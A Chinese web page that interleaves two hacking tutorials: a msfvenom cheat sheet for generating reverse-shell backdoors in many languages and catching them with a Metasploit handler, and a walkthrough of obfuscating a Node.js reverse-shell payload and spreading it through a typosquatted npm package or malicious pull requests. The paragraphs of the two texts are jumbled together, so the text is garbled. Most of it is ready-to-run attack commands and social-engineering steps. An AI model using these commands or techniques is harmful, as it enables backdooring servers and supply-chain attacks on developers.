添加载荷payload。 灰帽黑客(第3版)Metasploit是一个免费的、可下载" />
快捷搜索:

您的位置:金莎娱乐 > 互联网 > metasploit框架PHP反向后门建立教程,js生产服务器

metasploit框架PHP反向后门建立教程,js生产服务器

发布时间:2019-11-01 14:54编辑:互联网浏览(137)

    原标题:我是这样黑进你Node.js生产服务器的

    1.    –p (- -payload-options)

    Metasploit简介

    来源:HackingSexy

    style="font-size: 16px;">

    添加载荷payload。

    灰帽黑客(第3版) Metasploit是一个免费的、可下载的框架,通过它可以很容易地获取、开发并对计算机软件漏洞实施攻击。它本身附带数百个已知软件漏洞的专业级漏洞攻击工具。当H.D. Moore在2003年发布Metasploit时,计算机安全状况也被永久性地改变了。仿佛一夜之间,任何人都可以成为黑客,每个人都可以使用攻击工具来攻击那些未打过补丁或者刚刚打过补丁的漏洞。软件厂商再也不能推迟发布针对已公布漏洞的补丁了,这是因为Metasploit团队一直都在努力开发各种攻击工具,并将它们贡献给所有Metasploit用户

    TL,DR:

    载荷这个东西比较多,这个软件就是根据对应的载荷payload生成对应平台下的后门,所以只有选对payload,再填写正确自己的IP,PORT就可以生成对应语言,对应平台的后门了!!!

    metasploit框架PHP反向后门建立

    这篇文章讲述了从一个黑客的角度,以渗透前端项目为目标,从生成 payload,混淆,隐藏 payload,发布 npm,社会工程学提 PR,运行脚本,反向连接到攻击主机,最终主机拿到服务器 shell 的故事。

    (- -payload-options 列出payload选项)

    msfvenom -l  查看所有payload

    正片:

    2.    –l

    Framework Payloads (436 total)

        Name                                                Description
        ----                                                -----------
        aix/ppc/shell_bind_tcp                              Listen for a connection and spawn a command shell
        aix/ppc/shell_find_port                             Spawn a shell on an established connection
        aix/ppc/shell_interact                              Simply execve /bin/sh (for inetd programs)
        aix/ppc/shell_reverse_tcp                           Connect back to attacker and spawn a command shell
    其他的省略。
    这里要使用的是PHP反向后门
    msfvenom -p php/meterpreter/reverse_tcp --payload-options  查看参数
    Options for payload/php/meterpreter/reverse_tcp:

           Name: PHP Meterpreter, PHP Reverse TCP Stager
         Module: payload/php/meterpreter/reverse_tcp
       Platform: PHP
           Arch: php
    Needs Admin: No
     Total size: 936
           Rank: Normal
    Provided by:
        egypt <egypt@metasploit.com>
    Basic options:
    Name   Current Setting  Required  Description
    ----   ---------------  --------  -----------
    LHOST                   yes       The listen address
    LPORT  4444             yes       The listen port
    Description:
      Run a meterpreter server in PHP. Reverse PHP connect back stager
      with checks for disabled functions
     
    msfvenom -p php/meterpreter/reverse_tcp LHOST=192.168.1.2 LPORT=1234 -f raw >c.php 生成脚本
    生成后要将脚本最前面的注释符去掉,然后上传到目标服务器上
    启动msf
    use exploit/multi/handler
    set PAYLOAD php/meterpreter/reverse_tcp
    set LHOST 192.168.1.2
    set LPORT 1234
    exploit 启动监听
     
    然后从浏览器中打开上传的脚本
    msf中就会看到
    *] Starting the payload handler...
    [*] Sending stage (33068 bytes) to XXX.XXX.XXX.XXX
    [*] Meterpreter session 1 opened (192.168.1.2:1234 -> xxx.xxx.xxx.xxx:42280) at
    meterpreter >
     
    如果kali安装在虚拟机上,需要桥接,然后路由器上将kali DMZ到外网

    注意:此教程只用于学习使用其它一切后果与本站无前

    前端工程师的口头禅是啥?npm install!

    查看所有payload encoder nops。

    这个命令从 npm 仓库中下载一堆从项目 package.json 中声明的依赖,下载完依赖后,再下载依赖中 package.json 声明的依赖,下载完依赖的依赖后,再下载依赖中 package.json 声明的依赖中的 package.json 声明的依赖,下载完依赖后…………

    3.    –f (- -help-formats)

    然后下了一堆你都不知道从哪里来的 npm 包。

    输出文件格式。

    图片 1

    (- -help-formats 列出所有文件格式)

    图片 2

    Executable formats:

    前端工程师的另一个口头禅是什么?npm run dev!

    asp, aspx, aspx-exe, axis2, dll, elf, elf-so, exe, exe-only, exe-service, exe-small, hta-psh, jar, loop-vbs, macho, msi, msi-nouac, osx-app, psh, psh-net, psh-reflection, psh-cmd, vba, vba-exe, vba-psh, vbs, war

    嗯!界面显示 compile successful!很完美的一次编译!你觉得是时候展示真正的技术了!

    Transform formats:

    此时,在网线的另一端,一个黑客微微一笑:又有一个肉鸡上线了。

    bash, c, csharp, dw, dword, hex, java, js_be, js_le, num, perl, pl, powershell, ps1, py, python, raw, rb, ruby, sh, vbapplication, vbscript

    这中间都发生了什么?

    4.    –e

    生成 Payload

    编码免杀。

    经验丰富的金鱼佬都知道,要钓鱼,是肯定要先做鱼钩的。黑客也要钓鱼,鱼钩是啥?在黑客的世界里,有一个鱼钩店,叫做 msfvenom,专治各种款(架)式(构),各种型(语)号(言)的鱼(机器)。msfvenom 是 metasploit 的一部分,集成在了 Kali 系统里面。在 Kali 的官网,有现成的虚拟机镜像,下载了就能用。

    5.    –a (- -platform  – -help-platforms)

    在 Kali 的 Terminal 里输入:

    选择架构平台

    msfvenom -l | grep node

    x86 | x64 | x86_64

    可以列出所有支持 Node.js 的 payload。这相当于到店里问:老板!我要买鱼钩!要能钓 Node.js 的那种!老板:好嘞!要哪款?

    Platforms:

    图片 3

    windows, netware, android, java, ruby, linux, cisco, solaris, osx, bsd, openbsd, bsdi, netbsd, freebsd, aix, hpux, irix, unix, php, javascript, python, nodejs, firefox, mainframe

    图片 4

    6.    –o

    在这里,我们选择 nodejs/shell_reverse_tcp,其实业界最常用的 payload 是 meterpreter,但是这款鱼钩还没上市:

    文件输出。

    如何生成我们的 payload 呢,输入:

    7.    –s

    msfvenom -p nodejs/shell_reverse_tcp LHOST=192.168.199.165 LPORT=5432 -o index.js

    生成payload的最大长度,就是文件大小。

    这里说一下配置的参数:

    8.    –b

    • -p nodejs/shell_reverse_tcp 指的是我们要用 nodejs/shell_reverse_tcp 这个 payload;
    • LHOST=192.168.199.165 指的是攻击主机的 IP 地址,由于这次攻击是内网演示,所以用了内网 IP 。公网攻击的话,就要配个公网 IP;
    • LPORT=5432 攻击主机这边的监听端口,payload 运行后,被攻击方会尝试连接攻击主机的这个端口;
    • -o index.js 意思是输出到 index.js 这个文件中。

    避免使用的字符 例如:不使用 ‘f’。

    敲完命令之后,我们可以在当前目录拿到一个名为 index.js 的 payload,也就是我们刚买到的鱼钩。payload 很小很小,只有 803 字节。用

    9.    –i

    cat index.js

    编码次数。

    命令,可以看到 payload 长什么样。

    10.         –c

    图片 5

    添加自己的shellcode。

    图片 6

    11.         –x | -k

    这时候警觉的前端就会跳出来怼我:胸底,你这代码里又调用 cmd 又调用 /bin/sh,还把攻击 IP 和端口都暴露出来了,傻子才会运行你的代码哦?

    捆绑。例如:原先有个正常文件normal.exe 可以通过这个选项把后门捆绑到这个程序上面。

    别急嘛,好戏才刚刚开始。

    MSFVENOM实例

    12.         普通生成

    1. msfvenom -p <payload> <payload options> -f <format> -o <path>

    2. msfvenom –p windows/meterpreter/reverse_tcp –f exe –o C:back.exe

    13.         编码处理型

    1. msfvenom -p <payload> -e <encoder > -i <encoder times> -n <nopsled> -f <format> -o <path>

    2. msfvenom –p windows/meterpreter/reverse_tcp –i 3 –e x86/shikata_ga_nai –f exe –o C:back.exe

    14.         捆绑

    1. Msfvenom –p windows/meterpreter/reverse_tcp –platform windows –a x86 –x C:nomal.exe –k –f exe –o C:shell.exe

    15.         Windows

    1. Msfvenom –platform windows –a x86 –p windows/meterpreter/reverse_tcp –i 3 –e x86/shikata_ga_nai –f exe –o C:back.exe

    2. Msfvenom –platform windows –a x86 –p windows/x64/meterpreter/reverse_tcp –f exe –o C:back.exe

    16.         Linux

    1. msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f elf > shell.elf

    17.         MAC

    1. msfvenom -p osx/x86/shell_reverse_tcp LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f macho > shell.macho

    18.         PHP

    1. msfvenom -p php/meterpreter_reverse_tcp LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f raw > shell.php

    19.         Asp

    1. msfvenom -p windows/meterpreter/reverse_tcp LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f asp > shell.asp

    20.         Aspx

    1. msfvenom -p windows/meterpreter/reverse_tcp LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f aspx > shell.aspx

    21.         JSP

    1. msfvenom -p java/jsp_shell_reverse_tcp LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f raw > shell.jsp

    22.         War

    1. msfvenom -p java/jsp_shell_reverse_tcp LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f war > shell.war

    23.         Bash

    1. msfvenom -p cmd/unix/reverse_bash LHOST=<Your IP Address> LPORT=<Your Port to Connect On>-f raw > shell.sh

    24.         Perl

    1. msfvenom -p cmd/unix/reverse_perl LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f raw > shell.pl

    25.         Python

    1. msfvenom -p python/meterpreter/reverser_tcp LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f raw > shell.py

     

     

    转载:

    混淆

    传统的杀毒软件,是通过检测文件特定字符来确定病毒特征的,而通过修改特征码绕过杀毒软件的检测,我们称之为免杀。

    而 Java 的变化,简直比海贼王里的路飞还要伸缩自如。

    举个例子,一行简单的代码:

    alert(1)

    用 jsfuck 能把它变得连老妈都认不出来:

    [][(![] [])[ []] ([![]] [][[]])[ ! [] [ []]] (![] [])[! [] ! []] (!![] [])[ []] (!![] [])[! [] ! [] ! []] (!![] [])[ ! []]][([][(![] [])[ []] ([![]] [][[]])[ ! [] [ []]] (![] [])[! [] ! []] (!![] [])[ []] (!![] [])[! [] ! [] ! []] (!![] [])[ ! []]] [])[! [] ! [] ! []] (!![] [][(![] [])[ []] ([![]] [][[]])[ ! [] [ []]] (![] [])[! [] ! []] (!![] [])[ []] (!![] [])[! [] ! [] ! []] (!![] [])[ ! []]])[ ! [] [ []]] ([][[]] [])[ ! []] (![] [])[! [] ! [] ! []] (!![] [])[ []] (!![] [])[ ! []] ([][[]] [])[ []] ([][(![] [])[ []] ([![]] [][[]])[ ! [] [ []]] (![] [])[! [] ! []] (!![] [])[ []] (!![] [])[! [] ! [] ! []] (!![] [])[ ! []]] [])[! [] ! [] ! []] (!![] [])[ []] (!![] [][(![] [])[ []] ([![]] [][[]])[ ! [] [ []]] (![] [])[! [] ! []] (!![] [])[ []] (!![] [])[! [] ! [] ! []] (!![] [])[ ! []]])[ ! [] [ []]] (!![] [])[ ! []]]((![] [])[ ! []] (![] [])[! [] ! []] (!![] [])[! [] ! [] ! []] (!![] [])[ ! []] (!![] [])[ []] (![] [][(![] [])[ []] ([![]] [][[]])[ ! [] [ []]] (![] [])[! [] ! []] (!![] [])[ []] (!![] [])[! [] ! [] ! []] (!![] [])[ ! []]])[! [] ! [] [ []]] [ ! []] (!![] [][(![] [])[ []] ([![]] [][[]])[ ! [] [ []]] (![] [])[! [] ! []] (!![] [])[ []] (!![] [])[! [] ! [] ! []] (!![] [])[ ! []]])[! [] ! [] [ []]])()

    当然我们不用 jsfuck,因为混淆过后的代码太大了。

    前端喜欢用 UglifyJS 来压缩代码,但在这场景下,也许不是最优解。我们用 Java Obfuscator Tool。

    复制 payload,打开 Obfuscate,一道菜就完成了。

    图片 7

    图片 8

    现在已经没有人类能读懂这段代码了,混淆任务完成。

    隐藏 payload

    npm 是共产主义的大粮仓,任何人都可以贡献自己的代码到 npm 上去。但是如何让别人下载我们的代码呢?这是一门高深的学问。

    常规的思路是,做一个和正常 npm 包名字很像的包名,譬如 koa-multer,可以做一个 koa_multer,然后总有一些人会打错字,下载到包含 payload 的包。这是一个概率问题,下载 koa-multer 的总量越大,下载 koa_multer 的量也越大。

    以 koa-multer 为例,我们先把代码 clone 下载下来。

    git clone

    把我们生成的 payload 复制到项目路径下,并在 index.js 中引入这个文件。

    把 package.json 和 README.md 里所有的 koa-multer 改成 koa_multer,并在 package.json 的 files 声明 payload 的文件名,我们就做好了一个带有 payload 的 npm 包。

    拿到这个包,就可以发布到 npm 源了:

    npm publish

    为了演示,我在本地搭了一个 npm 服务器。

    图片 9

    图片 10

    可以看到这个包和正确的 koa-multer 几乎一样。如果不深究源码,前端不会发现自己下载了一个错误的包。

    图片 11

    图片 12

    接下来要做的事情是,等。就像钓鱼一样,需要耐心。

    这时候警觉的前端工程师会跳出来怼我:你这包一看就知道是坑人的,我肯定不会蠢到安装这种包!

    别急,还有其他方法。

    另一个思路是,做一个通用的 npm 包,譬如能 log 出五彩斑斓颜色的包,然后去给其他的开源项目提 PR:

    我帮你修复了问题 XXX,还加上了彩色 logger 的功能!

    我们是在给开源社区做贡献呐!

    当然,警觉的人会拒绝这个 PR。但这也没关系,提的 PR 多了,总会有人上钩的。

    一个 npm 包被伪造不是问题,一个恶意的 PR 被不知名的项目 Approve 也不是问题。就像一个请求不能叫攻击,但是几百万的请求打过来的时候,你就知道 DDOS 有多可怕。

    黑客完全可以把下载 npm 包,伪造代码并发布这段逻辑自动化。之后,就不仅仅是 koa_multer 的问题了,你需要提防 koa-multe,multer-koa,koa-multer-middleware 等等各种奇奇怪怪的 npm 包,还要区分"_"和"-"的区别,当然,也不仅仅是 koa-multer 这个包,其他所有的包都可以如法炮制。

    就算再警觉,再小心,总有你注意不到的地方。就像刀剑不入的阿喀琉斯,也会有脚后跟中箭的一天。

    另外,大多数 npm 包都是层级依赖关系,你能确保你的 package.json 中不可能声明有木马的包,但是你能确保你所依赖的包,这些包的作者,也和你一样警觉,不会大意?

    黑客准备

    黑客这边,需要准备好 handler。

    在 Kali 系统中,输入:

    msfconsole

    进入 metasploit 的控制台。然后输入:

    use exploit/multi/handler

    使用 handler 模块。并在 handler 模块中设置 payload ,攻击主机 IP,攻击主机端口,并启动监听:

    set payload nodejs/shell_reverse_tcp set LHOST 192.168.199.165 set LPORT 5432 run

    如图,反向TCP监听已经成功启动:

    图片 13

    图片 14

    肉鸡上线

    这时候,小白鼠跑了 koa_multer 里的 demo 代码!

    图片 15

    图片 16

    黑客这边,马上能获得这个 shell 的会话:

    图片 17

    图片 18

    在这里,黑客获得了启动该 Node.js 程序的用户权限,可以执行任何该用户允许执行的命令。举个例子,黑客想看被攻击主机的操作系统,查看 CPU 型号………

    sw_vers # 查看操作系统

    sysctl -n machdep.cpu.brand_string # 查看操作系统

    图片 19

    图片 20

    如果这个程序部署到了生产环境服务器,那么黑客将能获得这个服务器的shell权限。

    下一步干嘛?内网渗透,脱裤,种马,导流……

    拿到 shell 真的可以为所欲为,只有你想不到,没有黑客做不到。

    Done?

    还没完呢,精彩还在后头。

    npm 账号的弱口令问题

    在 2017 年 7 月份,有人对 npm 的账号做了一次弱口令检测,检测结果是:

    有弱口令问题账号所发布的 npm 包,占据了整站的 14%

    由于 npm 包以相互依赖的形式存在,由这 14%包引发的安全问题,影响到其他的包,占据了整站的 54%

    那就意味着,你每 npm install 两次,就会有一次安装到不安全的包。这不是危言耸听。大名鼎鼎 koa.js,发布的密码是 "password";react、gulp等明星项目也深陷弱口令深渊。下面列举一些其他受弱口令问题影响的 npm 包,相信总有你熟悉的名字:

    1. debug
    2. qs
    3. yargs
    4. request
    5. chalk
    6. form-data
    7. cheerio
    8. gulp
    9. browserify
    10. bower
    11. mongoose
    12. electron
    13. normalize.css
    14. mysql

    这么看来,npm 到现在都没发生过大规模的安全性问题,纯属是运气好……

    所以,让我们祝愿 npm 永远幸运✨吧。

    Note:本文旨在交流探讨,作者没有渗透过任何系统。如根据本文思想进行渗透,读者须自行承担风险和责任。作者不承担任何责任。

    参考文档:

    1.

    2. )

    责任编辑:

    本文由金莎娱乐发布于互联网,转载请注明出处:metasploit框架PHP反向后门建立教程,js生产服务器

    关键词: